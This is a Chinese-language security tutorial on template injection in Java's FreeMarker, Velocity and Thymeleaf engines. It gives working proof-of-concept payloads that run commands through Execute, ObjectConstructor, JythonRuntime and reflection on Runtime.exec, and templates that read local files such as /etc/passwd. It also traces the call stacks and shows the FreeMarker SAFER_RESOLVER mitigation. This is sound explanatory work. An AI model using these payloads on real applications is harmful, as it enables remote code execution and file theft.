一、FreeMarker模板注入安全風險
0x1:FreeMarker簡介
FreeMarker 是一款Java語言編寫的模板引擎,它是一種基於模板和程序動態生成的數據,動態生成輸出文本(HTML網頁,電子郵件,配置文件,源代碼等)的通用工具。它不是面向最終用戶的,而是一個Java類庫,是一款程序員可以嵌入他們所開發產品的組件。
目前企業中,主要用Freemarker做靜態頁面或是頁面展示
FreeMarker模板文件主要由如下4個部分組成:
- (1)文本:直接輸出的部分
- (2)註釋:使用<#-- ... -->格式做註釋,裏面內容不會輸出
- (3)插值:即${...}或#{...}格式的部分,類似於佔位符,將使用數據模型中的部分替代輸出
- (4)FTL指令:即FreeMarker指令,全稱是:FreeMarker Template Language,和HTML標記類似,但名字前加#予以區分,不會輸出。FreeMarker採用FreeMarker Template Language(FTL),它是簡單的,專用的語言。但是FTL不是像PHP那樣成熟的編程語言,這意味着需要其他真實變成語言中進行數據準備,比如數據庫查詢和業務運算,之後模板顯示已經準備好的數據。在模板中,你可以專注於如何展現數據, 而在模板之外可以專注於要展示什麼數據。
下面是一個FreeMarker模板的例子,包含了以上所說的4個部分:
<html> <head> <title>Welcome to FreeMarker 中文官網</title><br> </head> <body> <#-- 註釋部分 --> <#-- 下面使用插值 --> <h1>Welcome ${user} !</h1><br> <p>We have these animals:<br> <u1> <#-- 使用FTL指令 --> <#list animals as being><br> <li>${being.name} for ${being.price} Euros<br> <#list> <u1> </body> </html>
0x2:FreeMarker相比JSP的優點
FreeMarker與Web容器無關,即在Web運行時,它並不知道Servlet或HTTP,故此FreeMarker不僅可以用作表現層的實現技術,而且還可以用於生成XML,JSP或Java等各種文本文件。
在Java Web領域,FreeMarker是應用廣泛的模板引擎,主要用於MVC中的view層,生成html展示數據給客戶端,可以完全替代JSP。
FreeMarker的誕生是爲了取代JSP。雖然JSP功能強大,可以寫Java代碼實現複雜的邏輯處理,但是頁面會有大量業務邏輯,不利於維護和閱讀,更不利於前後臺分工,容易破壞MVC結構,所以捨棄JSP,選擇使用FreeMarker是大勢所趨。當前很多企業使用FreeMarker取代JSP,FreeMarker有衆多的優點,如下所示:
- (1)很好地分離表現層和業務邏輯。JSP功能很強大,它可以在前臺編寫業務邏輯代碼,但這也帶來了一個很大的弊端——頁面內容雜亂,可讀性差,這將會大大增加後期的維護難度。而FreeMarker職責明確,功能專注,僅僅負責頁面的展示,從而去掉了繁瑣的邏輯代碼。FreeMarker的原理就是:模板+數據模型=輸出,模板只負責數據在頁面中的表現,不涉及任何的邏輯代碼,而所有的邏輯都是由數據模型來處理的。用戶最終看到的輸出是模板和數據模型合併後創建的。
- (2)提高開發效率。衆所周知,JSP在第一次執行的時候需要轉換成Servlet類,之後的每次修改都要編譯和轉換。這樣就造成了每次修改都需要等待編譯的時間,效率低下。而FreeMarker模板技術並不存在編譯和轉換的問題,所以就不會存在上述問題。相比而言,使用FreeMarker可以提高一定的開發效率。
- (3)明確分工。JSP頁面前後端的代碼寫到了一起,耦合度很高,前端開發需要熟悉後臺環境,需要去調試,而後臺開發人員需要去做不熟悉的前端界面設計。對兩者而言,交替性的工作需要花費一定的學習成本,效率低下。而使用FreeMarker後,前後端完全分離,大家各幹各的,互不影響。
- (4)簡單易用,功能強大。FreeMarker支持JSP標籤,宏定義比JSP Tag方便,同時內置了大量常用功能,比如html過濾,日期金額格式化等等。FreeMarker代碼十分簡潔,上手快,使用非常方便。
總之,FreeMarker是一個模板引擎,一個基於模板生成文本輸出的通用工具,使用純Java編寫,模板中沒有業務邏輯,外部Java程序通過數據庫操作等生成數據傳入模板(template)中,然後輸出頁面。它能夠生成各種文本:HTML、XML、RTF、Java源代碼等等,而且不需要Servlet環境,並且可以從任何源載入模板,如本地文件、數據庫等等。
0x3:FreeMarker開發案例
FreeMarker沒有其他的任何依賴,僅僅依賴Java自身,把FreeMarker的jar包添加到工程中,Maven工程添加依賴。
<!-- https://mvnrepository.com/artifact/org.freemarker/freemarker --> <dependency> <groupId>org.freemarker</groupId> <artifactId>freemarker</artifactId> <version>2.3.31</version> </dependency>
編寫模板文件hello.ftl,
<html> <head> <meta charset="utf-8"> <title>Freemarker入門</title> </head> <body> <#--我只是一個註釋,我不會有任何輸出 --> ${name}你好,${message} </body> </html>
編寫java文件,調用FreeMarker動態生成網頁內容,
package org.example; import freemarker.template.Configuration; import freemarker.template.Template; import java.io.File; import java.io.FileWriter; import java.io.Writer; import java.util.HashMap; import java.util.Map; public class HelloFreeMarker { public static void main(String[] args) throws Exception{ //1.創建配置類 Configuration configuration = new Configuration(Configuration.getVersion()); //2.設置模板所在的目錄 configuration.setDirectoryForTemplateLoading(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources")); //3.設置字符集 configuration.setDefaultEncoding("utf-8"); //4.加載模板 Template template = configuration.getTemplate("hello.ftl"); //5.創建數據模型 Map map=new HashMap(); map.put("name", "張三"); map.put("message", "歡迎來到我的博客!"); //6.創建Writer對象 Writer out =new FileWriter(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources/hello.html")); //7.輸出 template.process(map, out); //8.關閉Writer對象 out.close(); } }
0x4:相關危險函數
1、new
創建任意實現了TemplateModel接口的Java對象,同時在使用new的時候,還能夠執行沒有實現該接口類的靜態初始化塊。
FreeMarker模板注入poc中常用的兩個類:
- freemarker.template.utility.JythonRuntime
- freemarker.template.utility.Execute
這兩個類都繼承了TemplateModel接口。
2、API
value?api 提供對 value 的 API(通常是 Java API)的訪問,例如
- value?api.someJavaMethod()
- value?api.someBeanProperty
可通過 getClassLoader獲取類加載器從而加載惡意類,或者也可以通過 getResource來實現任意文件讀取。
但是,當api_builtin_enabled爲true時纔可使用api函數,而該配置在2.3.22版本之後默認爲false。
0x5:漏洞風險面POC及漏洞代碼分析
package org.example; import freemarker.template.Configuration; import freemarker.template.Template; import java.io.File; import java.io.FileWriter; import java.io.Writer; import java.util.HashMap; import java.util.Map; public class exec_pcc { public static void main(String[] args) throws Exception{ //1.創建配置類 Configuration configuration = new Configuration(Configuration.getVersion()); //2.設置模板所在的目錄 configuration.setDirectoryForTemplateLoading(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources")); //3.設置字符集 configuration.setDefaultEncoding("utf-8"); //4.加載模板 Template template = configuration.getTemplate("exec_poc1.ftl"); //5.創建數據模型 Map map=new HashMap(); map.put("name", "張三"); map.put("message", "歡迎來到我的博客!"); //6.創建Writer對象 Writer out =new FileWriter(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources/exec_poc1.html")); //7.輸出 template.process(map, out); //8.關閉Writer對象 out.close(); } }
1、命令執行
1) freemarker.template.utility.Execute
<html> <head> <meta charset="utf-8"> <title>Freemarker入門</title> </head> <body> <#--我只是一個註釋,我不會有任何輸出 --> ${name}你好,${message} <h3> <#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")} </h3> </body> </html>
從在freemarker\template\utility\Execute.class類的exec方法處下斷點,
從調用棧可以看出,觸發ftl風險代碼的調用棧從 freemarker.template.process開始,
exec:75, Execute (freemarker.template.utility) _eval:62, MethodCall (freemarker.core) eval:101, Expression (freemarker.core) calculateInterpolatedStringOrMarkup:100, DollarVariable (freemarker.core) accept:63, DollarVariable (freemarker.core) visit:334, Environment (freemarker.core) visit:340, Environment (freemarker.core) process:313, Environment (freemarker.core) process:383, Template (freemarker.template)
process() 方法是做了一個輸出(生成) HTML 文件或其他文件的工作,相當於渲染的最後一步了。
在 process() 方法中,會對 ftl 的文件進行遍歷,讀取一些信息,下面我們先說對於正常語句的處理,再說對於 ftl 表達式的處理。
在讀取到每一條 freeMarker 表達式語句的時候,會二次調用 visit()
方法,
而 visit() 方法又調用了 element.accept(),
跟進evalAndCoerceToString,該方法做的業務是將模型強制爲字符串或標記,
跟進eval方法,
eval() 方法簡單判斷了 constantValue 是否爲 null,這裏 constantValue 爲 null,跟進 this._eval(),一般的 _eval() 方法只是將 evn 獲取一下,但是對於 ftl 語句就不是這樣了。
一般的 _eval() 方法如下,
回到element.accept(),對於 ftl 表達式來說,accept 方法是這樣的,
跟進一下 accept 方法,
跟進 eval() 方法,
再跟進 _eval(),
我們可以看到 targetMethod 目前就是我們在 ftl 語句當中構造的那個能夠進行命令執行的類,也就是說這一個語句相當於,
Object result = targetMethod.exec(argumentStrings); // 等價於 Object result = freemarker.template.utility.Execute.exec(argumentStrings);
而這一步並非直接進行命令執行,而是先把這個類通過 newInstance() 的方式進行初始化。
命令執行的參數,會被拿出來,在下一次的同樣流程中作爲命令被執行,
至此,漏洞代碼分析結束。
可以看到,這又是一個因爲Java的多態、繼承機制引發的注入風險。由於ftl中存在某些具有高風險操作的elements tag,這些elements tag的解析類通過繼承實現了對應的eval接口,並且在實現類中引入了高風險的操作攻擊面。
理論上,任何使用了FreeMarker的MVC框架都可能存在模板注入風險。
這又是一個典型地功能豐富、存在風險面的SDK被誤用,導致攻擊面暴露的漏洞場景。
2)freemarker.template.utility.ObjectConstructor
<html> <head> <meta charset="utf-8"> <title>Freemarker入門</title> </head> <body> <#--我只是一個註釋,我不會有任何輸出 --> ${name}你好,${message} <h3> <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","ifconfig").start()} </h3> </body> </html>
3)freemarker.template.utility.JythonRuntime
<html> <head> <meta charset="utf-8"> <title>Freemarker入門</title> </head> <body> <#--我只是一個註釋,我不會有任何輸出 --> ${name}你好,${message} <h3> <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("whoami") </h3> </body> </html>
4)文件讀取
<html> <head> <meta charset="utf-8"> <title>Freemarker入門</title> </head> <body> <#--我只是一個註釋,我不會有任何輸出 --> ${name}你好,${message} <h3> <#assign is=object?api.class.getResourceAsStream("/Users/zhenghan/Downloads/test.jsp")> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>] </h3> </body> </html>
<#assign uri=object?api.class.getResource("/").toURI()> <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]
0x6:修復與防禦
Configuration cfg = new Configuration(); cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
設置cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);,它會加入一個校驗,將freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor過濾。
package org.example; import freemarker.core.TemplateClassResolver; import freemarker.template.Configuration; import freemarker.template.Template; import java.io.File; import java.io.FileWriter; import java.io.Writer; import java.util.HashMap; import java.util.Map; public class exec_pcc { public static void main(String[] args) throws Exception{ //1.創建配置類 Configuration configuration = new Configuration(Configuration.getVersion()); //2.設置模板所在的目錄 configuration.setDirectoryForTemplateLoading(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources")); //3.設置字符集 configuration.setDefaultEncoding("utf-8"); //4.加載模板 Template template = configuration.getTemplate("exec_poc1.ftl"); // 增加elements安全過濾 configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER); //5.創建數據模型 Map map=new HashMap(); map.put("name", "張三"); map.put("message", "歡迎來到我的博客!"); //6.創建Writer對象 Writer out =new FileWriter(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources/exec_poc1.html")); //7.輸出 template.process(map, out); //8.關閉Writer對象 out.close(); } }
分析TemplateClassResolver.SAFER_RESOLVER,
從 2.3.17版本以後,官方版本提供了三種TemplateClassResolver對類進行解析:
- UNRESTRICTED_RESOLVER:可以通過 ClassUtil.forName(className) 獲取任何類。
- SAFER_RESOLVER:不能加載 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor這三個類。
- ALLOWS_NOTHING_RESOLVER:不能解析任何類。
可通過freemarker.core.Configurable#setNewBuiltinClassResolver方法設置TemplateClassResolver,從而限制通過new()函數對freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor這三個類的解析。
參考鏈接:
https://blog.csdn.net/qq_41879343/article/details/108797346 http://www.freemarker.net/ https://www.cnblogs.com/dynasty/archive/2012/01/29/2331384.html https://freemarker.apache.org/docs/ref_builtins.html https://zhuanlan.zhihu.com/p/585686528 https://xz.aliyun.com/t/12969
二、velocity模板注入安全風險
0x1:velocity簡介
Velocity是一個基於Java的模板引擎,可以通過特定的語法獲取在java對象的數據 , 填充到模板中,從而實現界面和java代碼的分離。
Velocity有如下應用場景:
- Web應用程序 : 作爲爲應用程序的視圖, 展示數據。
- 源代碼生成 : Velocity可用於基於模板生成Java源代碼。
- 自動電子郵件 : 網站註冊 , 認證等的電子郵件模板。
- 網頁靜態化 : 基於velocity模板 , 生成靜態網頁。
Velocity模板的基本組成結構如下:
模塊 | 描述 |
---|---|
app | 主要封裝了一些接口 , 暴露給使用者使用。主要有兩個類,分別是Velocity(單例)和VelocityEngine。 |
Context | 主要封裝了模板渲染需要的變量 |
Runtime | 整個Velocity的核心模塊,Runtime模塊會將加載的模板解析成語法樹,Velocity調用mergeTemplate方法時會渲染整棵樹,並輸出最終的渲染結果。 |
RuntimeInstance | RuntimeInstance類爲整個Velocity渲染提供了一個單例模式,拿到了這個實例就可以完成渲染過程了。 |
0x2:Velocity開發案例
新建maven項目,引入velocity依賴,
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>Velocity_test</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>org.apache.velocity</groupId> <artifactId>velocity-engine-core</artifactId> <version>2.2</version> </dependency> </dependencies> </project>
在resources 目錄下創建模板文件,
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> hello , ${name} ! </body> </html>
編寫java代碼主程序,
package org.example; import org.apache.velocity.Template; import org.apache.velocity.VelocityContext; import org.apache.velocity.app.Velocity; import java.io.FileWriter; import java.io.IOException; import java.util.Properties; public class velocityDemo { public static void main(String[] args) throws IOException { // 1、設置velocity資源加載器 Properties prop = new Properties(); prop.put("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader"); // 2、初始化velocity引擎 Velocity.init(prop); // 3、創建velocity容器 VelocityContext context = new VelocityContext(); context.put("name", "Hello Velocity"); // 4、加載velocity模板 Template tpl = Velocity.getTemplate("vms/velocityDemo.vm", "utf-8"); // 5、合併數據到模板 FileWriter fw = new FileWriter("/Users/zhenghan/Projects/Velocity_test/src/main/resources/velocityDemo.html"); tpl.merge(context, fw); // 6、釋放資源 fw.close(); } }
Velocity解決了如何在後臺程序和網頁之間傳遞數據的問題,後臺代碼和視圖之間相互獨立,一方的修改不影響另一方,他們之間是通過環境變量(Context)來實現的,網頁製作一方和後臺程序一方相互約定好對所傳遞變量的命名約定,比如上面程序例子中的 name變量,它們在網頁上就是$name 。
只要雙方約定好了變量名字,那麼雙方就可以獨立工作了。無論頁面如何變化,只要變量名不變,那麼後臺程序就無需改動,前臺網頁也可以任意由網頁製作人員修改。這就是Velocity的工作原理。
0x3:Velocity基礎語法
Velocity Template Language (VTL) , 是Velocity 中提供的一種模版語言 , 旨在提供最簡單和最乾淨的方法來將動態內容合併到網頁中。
VTL的語句分爲4大類:
- 註釋
- 非解析內容
- 引用
- 指令
我們關注其中的引用和指令語法。
1、引用
引用語句就是對引擎上下文對象中的屬性進行操作。
1)變量引用
語法 | 描述 |
---|---|
$變量名 | 若上下文中沒有對應的變量,則輸出字符串"$變量名" |
${變量名} | 若上下文中沒有對應的變量,則輸出字符串"${變量名}" |
$!變量名 | 若上下文中沒有對應的變量,則輸出空字符串"" |
$!{變量名} | 若上下文中沒有對應的變量,則輸出空字符串"" |
2)屬性引用
語法 | 描述 |
---|---|
$變量名.屬性 | 若上下文中沒有對應的變量,則輸出字符串"$變量名.屬性" |
${變量名.屬性} | 若上下文中沒有對應的變量,則輸出字符串"${變量名.屬性}" |
$!變量名.屬性 | 若上下文中沒有對應的變量,則輸出字符串"" |
$!{變量名.屬性} | 若上下文中沒有對應的變量,則輸出字符串"" |
3)方法引用
方法引用實際就是指方法調用操作,方法的返回值將輸出到最終結果中。
語法 | 描述 |
---|---|
$變量名.方法([入參1[, 入參2]*]?) | 若上下文中沒有對應的變量,則輸出字符串"$變量名.方法([入參1[, 入參2]*]?" |
${變量名.方法([入參1[, 入參2]*]?)} | 若上下文中沒有對應的變量,則輸出字符串"${變量名.方法([入參1[, 入參2]*]?)}" |
$!變量名.方法([入參1[, 入參2]*]?) | 若上下文中沒有對應的變量,則輸出字符串"" |
$!{變量名.方法([入參1[, 入參2]*]?)} | 若上下文中沒有對應的變量,則輸出字符串"" |
修改一下java主程序代碼,
package org.example; import org.apache.velocity.Template; import org.apache.velocity.VelocityContext; import org.apache.velocity.app.Velocity; import java.io.FileWriter; import java.io.IOException; import java.util.Date; import java.util.Properties; public class velocityDemo { public static void main(String[] args) throws IOException { // 1、設置velocity資源加載器 Properties prop = new Properties(); prop.put("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader"); // 2、初始化velocity引擎 Velocity.init(prop); // 3、創建velocity容器 VelocityContext context = new VelocityContext(); // 向容器中放入數據 context.put("now", new Date()); // 4、加載velocity模板 Template tpl = Velocity.getTemplate("vms/velocityDemo.vm", "utf-8"); // 5、合併數據到模板 FileWriter fw = new FileWriter("/Users/zhenghan/Projects/Velocity_test/src/main/resources/velocityDemo.html"); tpl.merge(context, fw); // 6、釋放資源 fw.close(); } }
修改模板文件,
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> <h1>方法引用</h1> 常規語法:$now.getTime() 正規語法:${now.getTime()} </body> </html>
2、指令
指令主要用於定義重用模塊、引入外部資源、流程控制。指令以 # 作爲起始字符。
0x4:漏洞風險面POC
1、web程序中彈出msg
主程序,
package org.example; import org.apache.velocity.Template; import org.apache.velocity.VelocityContext; import org.apache.velocity.app.Velocity; import java.io.FileWriter; import java.io.IOException; import java.util.Date; import java.util.Properties; public class velocityDemo { public static void main(String[] args) throws IOException { // 1、設置velocity資源加載器 Properties prop = new Properties(); prop.put("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader"); // 2、初始化velocity引擎 Velocity.init(prop); // 3、創建velocity容器 VelocityContext context = new VelocityContext(); // 向容器中放入數據 context.put("msg", "外部輸入的消息"); // 4、加載velocity模板 Template tpl = Velocity.getTemplate("vms/velocityDemo.vm", "utf-8"); // 5、合併數據到模板 FileWriter fw = new FileWriter("/Users/zhenghan/Projects/Velocity_test/src/main/resources/velocityDemo.html"); tpl.merge(context, fw); // 6、釋放資源 fw.close(); } }
模板文件,
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> #if($msg) <script> alert('$!msg'); </script> #end </body> </html>
2、命令執行
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> #set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator") </body> </html>
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> #set($x='')## #set($rt = $x.class.forName('java.lang.Runtime'))## #set($chr = $x.class.forName('java.lang.Character'))## #set($str = $x.class.forName('java.lang.String'))## #set($ex=$rt.getRuntime().exec('whoami'))## $ex.waitFor() #set($out=$ex.getInputStream())## #foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end </body> </html>
修改java主程序,
package org.example; import org.apache.velocity.Template; import org.apache.velocity.VelocityContext; import org.apache.velocity.app.Velocity; import java.io.FileWriter; import java.io.IOException; import java.util.Date; import java.util.Properties; public class velocityDemo { public static void main(String[] args) throws IOException { // 1、設置velocity資源加載器 Properties prop = new Properties(); prop.put("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader"); // 2、初始化velocity引擎 Velocity.init(prop); // 3、創建velocity容器 VelocityContext context = new VelocityContext(); // 向容器中放入數據 context.put("cmd", "whoami"); // 4、加載velocity模板 Template tpl = Velocity.getTemplate("vms/velocityDemo.vm", "utf-8"); // 5、合併數據到模板 FileWriter fw = new FileWriter("/Users/zhenghan/Projects/Velocity_test/src/main/resources/velocityDemo.html"); tpl.merge(context, fw); // 6、釋放資源 fw.close(); } }
修改模板文件,
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> #set ($e="exp") #set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd)) #set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a)) #set($sc = $e.getClass().forName("java.util.Scanner")) #set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream"))) #set($scan=$constructor.newInstance($input).useDelimiter("\A")) #if($scan.hasNext()) $scan.next() #end </body> </html>
0x5:漏洞代碼分析
接下來簡單分析一下velocity存在漏洞的風險代碼原理。
package org.example; import org.apache.velocity.VelocityContext; import org.apache.velocity.app.Velocity; import java.io.IOException; import java.io.StringWriter; public class velocityDemo { public static void main(String[] args) throws IOException { String username = "外部攻擊者可控輸入"; String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email"; Velocity.init(); VelocityContext ctx = new VelocityContext(); ctx.put("name", "Little Hann"); ctx.put("phone", "123456789"); ctx.put("email", "[email protected]"); StringWriter out = new StringWriter(); // 將模板字符串和上下文對象傳遞給Velocity引擎進行解析和渲染 Velocity.evaluate(ctx, out, "test", templateString); // 輸出velocity渲染結果 System.out.println(out.toString()); } }
模擬velocity SSTI注入攻擊,
package org.example; import org.apache.velocity.VelocityContext; import org.apache.velocity.app.Velocity; import java.io.IOException; import java.io.StringWriter; public class velocityDemo { public static void main(String[] args) throws IOException { String username = "#set($e=\"e\")\n" + "$e.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"open -a Calculator\")"; String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email"; Velocity.init(); VelocityContext ctx = new VelocityContext(); ctx.put("name", "Little Hann"); ctx.put("phone", "123456789"); ctx.put("email", "[email protected]"); StringWriter out = new StringWriter(); // 將模板字符串和上下文對象傳遞給Velocity引擎進行解析和渲染 Velocity.evaluate(ctx, out, "test", templateString); // 輸出velocity渲染結果 System.out.println(out.toString()); } }
根據測試程序,首先會進入Velocity類的init方法,
在該方法中,會調用RuntimeSingleton類的init方法,這個方法主要是對模板引擎的初始化,比如設置屬性、初始化日誌系統、資源管理器、指令等。
接下來回到主程序中,實例化VelocityContext,並將三對鍵值對put進去,之後調用Velocity類的evaluate方法,此時templateString的值爲,
Hello, #set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator") | Full name: $name, phone: $phone, email: $email
直接進入了RuntimeInstance的evaluate方法,
進入重載的evaluate方法,
這個方法會調用RuntimeInstance類的parse方法進行解析。
經過兩重調用來到org\apache\velocity\runtime\parser\Parser.class的parse方法。
完成模板文件的parse工作後,生成ast語法樹結構,
到目前爲止,解析工作完成,接下來就是渲染工作了,回到RuntimeInstance類的evaluate方法。
進入render方法中進行渲染,
這裏從context取值去做模板解析,輸出到output writer當中在ASTMethod類的execute方法中反射調用runtime,
至此,通過反射,實現了代碼執行。
參考鏈接:
https://blog.csdn.net/lovesummerforever/article/details/47378211 https://www.cnblogs.com/jiarui-zjb/p/8227473.html https://velocity.apache.org/ https://juejin.cn/post/7112775057704747045#heading-5 https://www.cnblogs.com/CoLo/p/16717761.html https://www.cnblogs.com/nice0e3/p/16218857.html https://anemone.top/vulnresearch-Solr_Velocity_injection/ https://paper.seebug.org/1107/
三、Thymeleaf模板注入安全風險
0x1:Thymeleaf簡介
Thymeleaf 是一款用於渲染 HTML/XML/TEXT/JAVASCRIPT/CSS/RAW 內容的模板引擎。它與 JSP,Velocity,FreeMaker 等模板引擎類似,也可以輕易地與 Spring MVC 等 Web 框架集成。
與其它模板引擎相比,Thymeleaf 最大的特點是,即使不啓動 Web 應用,也可以直接在瀏覽器中打開並正確顯示模板頁面,Thymeleaf 支持 HTML 原型,其文件後綴爲“.html”,因此它可以直接被瀏覽器打開,此時瀏覽器會忽略未定義的 Thymeleaf 標籤屬性,展示 thymeleaf 模板的靜態頁面效果;當通過 Web 應用程序訪問時,Thymeleaf 會動態地替換掉靜態內容,使頁面動態顯示。
Thymeleaf 通過在 html 標籤中,增加額外屬性來達到“模板+數據”的展示方式,示例代碼如下。
<!DOCTYPE html> <html lang="en" xmlns:th="http://www.thymeleaf.org"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> <!--th:text 爲 Thymeleaf 屬性,用於在展示文本--> <h1 th:text="迎您來到Thymeleaf">歡迎您訪問靜態頁面 HTML</h1> </body> </html>
當直接使用瀏覽器打開時,瀏覽器展示結果如下。
歡迎您訪問靜態頁面HTML
當通過 Web 應用程序訪問時,瀏覽器展示結果如下。
迎您來到Thymeleaf
總體來說,Thymeleaf具體如下特點:
- 動靜結合:Thymeleaf 既可以直接使用瀏覽器打開,查看頁面的靜態效果,也可以通過 Web 應用程序進行訪問,查看動態頁面效果。
- 開箱即用:Thymeleaf 提供了 Spring 標準方言以及一個與 SpringMVC 完美集成的可選模塊,可以快速的實現表單綁定、屬性編輯器、國際化等功能。
- 多方言支持:它提供了 Thymeleaf 標準和 Spring 標準兩種方言,可以直接套用模板實現 JSTL、OGNL 表達式,必要時,開發人員也可以擴展和創建自定義的方言。
- 與 SpringBoot 完美整合:SpringBoot 爲 Thymeleaf 提供了的默認配置,並且還爲 Thymeleaf 設置了視圖解析器,因此 Thymeleaf 可以與 Spring Boot 完美整合。
0x2:Thymeleaf 語法規則
在使用 Thymeleaf 之前,首先要在頁面的 html 標籤中聲明名稱空間,示例代碼如下。
xmlns:th="http://www.thymeleaf.org"
在 html 標籤中聲明此名稱空間,可避免編輯器出現 html 驗證錯誤,但這一步並非必須進行的,即使我們不聲明該命名空間,也不影響 Thymeleaf 的使用。
Thymeleaf 作爲一種模板引擎,它擁有自己的語法規則。Thymeleaf 語法分爲以下 2 類:
- 標準表達式語法
- th 屬性
1、標準表達式語法
- 變量表達式:${...}
- 選擇變量表達式:*{...}
- 鏈接表達式:@{...}
- 國際化表達式:#{...}
- 片段引用表達式:~{...}
2、th 屬性
Thymeleaf 還提供了大量的 th 屬性,這些屬性可以直接在 HTML 標籤中使用,其中常用 th 屬性及其示例如下表。
屬性 | 描述 | 示例 |
---|---|---|
th:id | 替換 HTML 的 id 屬性 |
|
th:text | 文本替換,轉義特殊字符 |
|
th:utext | 文本替換,不轉義特殊字符 |
|
th:object | 在父標籤選擇對象,子標籤使用 *{…} 選擇表達式選取值。 沒有選擇對象,那子標籤使用選擇表達式和 ${…} 變量表達式是一樣的效果。 同時即使選擇了對象,子標籤仍然可以使用變量表達式。 |
|
th:value | 替換 value 屬性 |
|
th:with | 局部變量賦值運算 |
|
th:style | 設置樣式 |
|
th:onclick | 點擊事件 |
|
th:each | 遍歷,支持 Iterable、Map、數組等。 |
|
th:if | 根據條件判斷是否需要展示此標籤 |
|
th:unless | 和 th:if 判斷相反,滿足條件時不顯示 |
|
th:switch | 與 Java 的 switch case語句類似 通常與 th:case 配合使用,根據不同的條件展示不同的內容 |
|
th:fragment | 模板佈局,類似 JSP 的 tag,用來定義一段被引用或包含的模板片段 |
|
th:insert | 佈局標籤; 將使用 th:fragment 屬性指定的模板片段(包含標籤)插入到當前標籤中。 |
|
th:replace | 佈局標籤; 使用 th:fragment 屬性指定的模板片段(包含標籤)替換當前整個標籤。 |
|
th:selected | select 選擇框選中 |
|
th:src | 替換 HTML 中的 src 屬性 |
|
th:inline | 內聯屬性; 該屬性有 text、none、javascript 三種取值, 在 <script> 標籤中使用時,js 代碼中可以獲取到後臺傳遞頁面的對象。 |
|
th:action | 替換表單提交地址 |
|
模板引擎對象是org.thymeleaf.ITemplateEngine接口的實現,Thymeleaf核心是org.thymeleaf.TemplateEngine,
templateEngine = new TemplateEngine(); templateEngine.setTemplateResolver(templateResolver);
0x3:thymeleaf開發案例
0x4:漏洞風險面POC
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-thymeleaf</artifactId> </dependency>
添加控制器,
@GetMapping("/path") public String path(@RequestParam String lang) { return "user/" + lang + "/welcome"; //template path is tainted }
攻擊載荷,
// 正確的payload: /path?lang=en // POC: /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open -a Calculator%22).getInputStream()).next()%7d__::.x
參考鏈接:
https://www.cnblogs.com/tuyile006/p/16257278.html https://blog.csdn.net/qq_41879343/article/details/107664955 https://waylau.gitbooks.io/thymeleaf-tutorial/content/docs/introduction.html https://blog.csdn.net/trayvontang/article/details/112849988 https://blog.csdn.net/m0_46188681/article/details/114188838 https://xz.aliyun.com/t/12969#toc-18